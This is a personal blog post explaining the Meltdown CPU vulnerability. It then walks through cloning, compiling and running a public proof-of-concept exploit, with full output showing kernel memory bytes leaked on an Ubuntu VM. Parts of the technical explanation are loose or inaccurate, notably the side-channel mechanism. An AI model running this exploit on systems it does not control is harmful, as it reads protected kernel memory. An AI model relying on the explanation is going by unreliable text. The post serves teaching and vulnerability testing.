Kernel bridge is melting down – Meltdown Vulnerability with POC on Ubuntu/Kali(Intel)

Hello folks ! I know it has been a long while since I wrote on this weblog. But the start of this year was much enthusiastic in terms of newly discovered vulnerabilities. Yes I am talking about Spectre and Meltdown
So today we will discuss about Meltdown. 

What the heck it is !

Spectre and Meltdown are the different variants of the same fundamental underlying vulnerability that affects nearly every computer chip manufactured in the last 20 years. If exploited, it allows attackers to get access to data previously considered completely protected. These vulnerabilities involve a malicious program gaining access to unauthorized data, and by exploiting two important techniques used to speed up computer chips, called speculative execution and caching.


When I first heard about this vulnerability the first thing came into my mind was how it is possible to have unprivileged access as we already have “Page Tables” in place. But as it still happened. lets see how.

So when a software running on a Core requires memory it starts a so called “load” command. The load command is then processed in multiple stages until the data is found and returned or an error occurred. Below is the simple representation of the memory subsystem.

 

How this sub-system works

Software including operating system uses virtual addressing to start a load(we can say it as memory read in simple terms). After the first stage of processing L1 cache is split between a data and an instruction cache. The L1 Cache is a so called VIPT(Virtually Indexed, Physically Tagged) cache.

This means the data can be looked up by directly using the virtual address of the load request.  This along with central position in the core makes the L1 incredibly fast. If the requested data was not found in the L1 cache the load must be passed down the cache hierarchy. This is the point where the page tables come into play. The page tables are used to translate the virtual address into a physical address. This is essentially how paging is enabled on x64.

It is during this translation that privileges are checked. Once we have a physical address, the CPU can query the L2 cache and L3 cache in turn. Both are PITP caches (Physically Indexed, Physically Tagged) thus requiring the translation in the page tables before the lookup can be done. If no data was in the caches then the CPU will ask the memory controller to fetch the data in main memory.

The latency of a data load in the L1 cache is around 5 clock cycles whereas a load from main memory is typically around 200 clock cycles. With the security check in the page tables and the L1 located before those we see already at this point that the because “page table” argument is too simple. That said – the intel manuals software developer’s manuals states that the security settings is copied along the data into the L1 cache.

Now for simplifying these things we will first discuss about speculative execution and caching. 

Speculative Execution

As the name suggests it works like a future predictor. It involves a mechanism/chip to predict the future of the code and execute something in order to work faster. It will try to find out the multiple logical branches and will start working on the math of the logic regardless of the time or decision of execution.

As for example If X is true, compute function K; if X is false, compute function M”, the chip can start computing both functions K and M in parallel, before it even knows whether X is true or false. Once it knows whether X is true or false, it already has a head start on what comes after, which speeds up processing overall. Sometimes, if a chip learns that a program makes use of the same function frequently, it might use idle time to compute that function even when it hasn’t been asked to, just so it has what it thinks the answer will be on hand.

Caching

As we are aware of the it takes some time to CPU for fetching the data from RAM so there is a memory storage called CPU Cache which can be accessed quickly enough. Sometimes data is stored for pretty long time just to ensure the speedy process for frequently executing commands.

Now the actual problem starts when these functionalities were used to play with the protected memory.

In order to access protected memory, a process needs to undergo a privilege check, which determines whether or not it’s allowed to see that data. What if the privilege check is taking too much time. In that case, when the CPU is waiting for the result of the privilege check it also starts working with the data even if it doesn’t have access to it. Well ! Still it can be considered safe because it will not display the result unless it has the privilege.

Interestingly, once it fails the privilege check, it will store the result in CPU cache in case it is required later. If we try to access the data it will be get rejected more quickly than normal confirming that there is some data at that address. It will easy to find out the data if the address is known, which can be called as Side-channel Attack. 

Let’s test it out

I have tried out on few test machines in my personal lab, will go through one by one.

Type the below command in the terminal to download the script form git hub and it will show the below results.

ubuntu@ubuntu:~$ git clone https://github.com/paboldin/meltdown-exploit.git
Cloning into 'meltdown-exploit'...
remote: Counting objects: 146, done.
remote: Compressing objects: 100% (21/21), done.
remote: Total 146 (delta 15), reused 25 (delta 10), pack-reused 114
Receiving objects: 100% (146/146), 26.17 KiB | 0 bytes/s, done.
Resolving deltas: 100% (72/72), done.
Checking connectivity... done.

Now we need to compile the program before executing it with the help of “make” command.

ubuntu@ubuntu:~$ cd meltdown-exploit/
ubuntu@ubuntu:~/meltdown-exploit$ make
./detect_rdtscp.sh >rdtscp.h
cc -O2 -msse2 -c -o meltdown.o meltdown.c
cc meltdown.o -o meltdown

Now, run the script

ubuntu@ubuntu:~/meltdown-exploit$ ./run.sh
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo sed -n -re s/^([0-9a-f]*[1-9a-f][0-9a-f]*) .* linux_proc_banner$/\1/p /proc/kallsyms
+ linux_proc_banner=ffffffffb94000a0
+ set +x
cached = 34, uncached = 291, threshold 99
read ffffffffb94000a0 = 25 % (score=238/1000)
read ffffffffb94000a1 = 73 s (score=316/1000)
read ffffffffb94000a2 = 20   (score=270/1000)
read ffffffffb94000a3 = 76 v (score=254/1000)
read ffffffffb94000a4 = 65 e (score=143/1000)
read ffffffffb94000a5 = 72 r (score=290/1000)
read ffffffffb94000a6 = 73 s (score=293/1000)
read ffffffffb94000a7 = 69 i (score=288/1000)
read ffffffffb94000a8 = 6f o (score=278/1000)
read ffffffffb94000a9 = 6e n (score=272/1000)
read ffffffffb94000aa = 20   (score=361/1000)
read ffffffffb94000ab = 25 % (score=255/1000)
read ffffffffb94000ac = 73 s (score=296/1000)
read ffffffffb94000ad = 20   (score=354/1000)
read ffffffffb94000ae = 28 ( (score=322/1000)
read ffffffffb94000af = 62 b (score=251/1000)
VULNERABLE
PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/19
VULNERABLE ON
4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 94
model name	: Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz
stepping	: 3
microcode	: 0x8a
cpu MHz		: 2711.998
cache size	: 8192 KB
physical id	: 0

Oops !! My ubuntu VM seems to be vulnerable to it. When I tried the same thing on my Kali machine, it gave me some relief.

root@kali:/meltdown-exploit# ./run.sh
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo sed -n -re s/^([0-9a-f]*[1-9a-f][0-9a-f]*) .* linux_proc_banner$/\1/p /proc/kallsyms
+ linux_proc_banner=
+ set +x
not found. reading /boot/System.map-4.9.0-kali4-686
+ uname -r
+ find_linux_proc_banner /boot/System.map-4.9.0-kali4-686 sudo
+ sudo sed -n -re s/^([0-9a-f]*[1-9a-f][0-9a-f]*) .* linux_proc_banner$/\1/p /boot/System.map-4.9.0-kali4-686
+ linux_proc_banner=c158d040
+ set +x
cached = 31, uncached = 293, threshold 95
read c158d040 = ff   (score=0/1000)
read c158d041 = 3a : (score=1/1000)
read c158d042 = 3a : (score=2/1000)
read c158d043 = 3a : (score=1/1000)
read c158d044 = 37 7 (score=1/1000)
read c158d045 = ff   (score=0/1000)
read c158d046 = 35 5 (score=1/1000)
read c158d047 = ff   (score=0/1000)
read c158d048 = ff   (score=0/1000)
read c158d049 = ff   (score=0/1000)
read c158d04a = ff   (score=0/1000)
read c158d04b = ff   (score=0/1000)
read c158d04c = ff   (score=0/1000)
read c158d04d = ff   (score=0/1000)
read c158d04e = ff   (score=0/1000)
read c158d04f = ff   (score=0/1000)
NOT VULNERABLE
PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/22
NOT VULNERABLE ON
4.9.0-kali4-686 #1 SMP Debian 4.9.30-1kali1 (2017-06-06) unknown
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 94
model name	: Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz
stepping	: 3
microcode	: 0x8a
cpu MHz		: 2711.003
cache size	: 8192 KB
physical id	: 0

 

Below is the execution of meltdown exploit in real life scenario provided by Michael Schwarz.

I definitely want to do on some test websites but couldn’t find any. If you know some let me know in the comment.

References:

  1. https://en.wikipedia.org/wiki/Meltdown_(security_vulnerability)
  2. https://github.com/paboldin/meltdown-exploit
  3. https://meltdownattack.com/

I will keep adding the content in this series with more details specially talking about Spectre.

Warning :

This post is only for knowledge purposes. Do not run it on any productive systems. Do not run it on any system that might be used by another person or entity.